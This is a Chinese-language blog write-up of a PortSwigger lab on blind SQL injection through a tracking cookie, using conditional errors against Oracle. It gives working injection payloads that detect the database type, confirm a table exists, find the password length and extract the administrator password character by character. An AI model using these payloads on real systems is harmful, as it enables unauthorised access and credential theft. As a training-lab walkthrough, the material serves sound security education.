portswigger lab:SQLI 盲注:利用conditional error

This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs an SQL query containing the value of the submitted cookie.

The results of the SQL query are not returned, and the application does not respond any differently based on whether the query returns any rows. If the SQL query causes an error, then the application returns a custom error message.

The database contains a different table called users, with columns called username and password. You need to exploit the blind SQL injection vulnerability to find out the password of the administrator user.

To solve the lab, log in as the administrator user.


分析:

知道注入点是tracking cookie,要利用error 来判断

其实跟上一篇底层是一样的,上一篇是利用是否有welcome back来判断,

但是这个场景中呢,没有这个可显示的不同,所以要根据是否报错来判断这个问答回答的是“yes” or “no” 当然构造问题也很重要。

1. 先看下是啥datebase

TrackingId=xxx'||(SELECT '')||'

报错了,

再试试TrackingId=xxx'||(SELECT '' FROM dual)||'

 

说明是oracle数据库。因为oracle select from 后面得有table,不知道table名就有dual 一个dummy的table

“||”就是拼接字符串

 2. 确认是否存在users这个表

TrackingId=xxx'||(SELECT '' FROM users WHERE ROWNUM = 1)||'

 没有error,说明users 表存在的。

逻辑就是这样的。问是不是啊?

  • 返回200=是
  • 返回非200=否

注意where rownum=1 不能省,当然可以换改成2,5,100.

省了之后返回多行就报错了。

3. 确定administrator是否存在

TrackingId=xxx'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

sql是先执行WHERE username='administrator',所以如果不存在的话,前面就不执行, 返回就200了

只有administrator存在的时候,才有机会进到case里,我们case when 1=1,为真,所以到了0除,会报错,

  • 此处,administrator存在,那么error
  • 不存在,那么200

 4. 确定密码长度

'||(SELECT CASE WHEN LENGTH(password)>1 THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'

这个query就是说,如果password 大于1, 就报错,否则200

结果当然是大于1了。接下来还是请出不速之客(sqli blind injection盲注,以马冬梅为例_犬大犬小的博客-CSDN博客

 密码长度还是20

5. 找出密码

'||(SELECT CASE WHEN SUBSTR(password,1,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

还是从第一位开始遍历,20圈,找到返回error的

直接把返回500的都拎出来

gkjofrhpb77li8nod5ge

 

总结,

还是那个马红梅那个游戏的逻辑。回答的方式变成了返回200 or 500

一步步构造这个“问答”

几个知识点

1. 如果判断数据库类型,可以参考SQL injection cheat sheet | Web Security Academy (portswigger.net)

2. SQL 的if else

case when xx then xx else xx end

SELECT CASE WHEN SUBSTR(password,1,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')

如果 where肯定为真,就把要问的问题放到when中,then 来个出错的,这样就可以根据返回值判断when是否为真了

3 sql是先执行from后面语句的!如果administrator不存在,就不执行前面了,也不会报错了,所以要用when then else end来一过

参考

sqli blind injection盲注,以马冬梅为例_犬大犬小的博客-CSDN博客 

就这吧,以上!

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值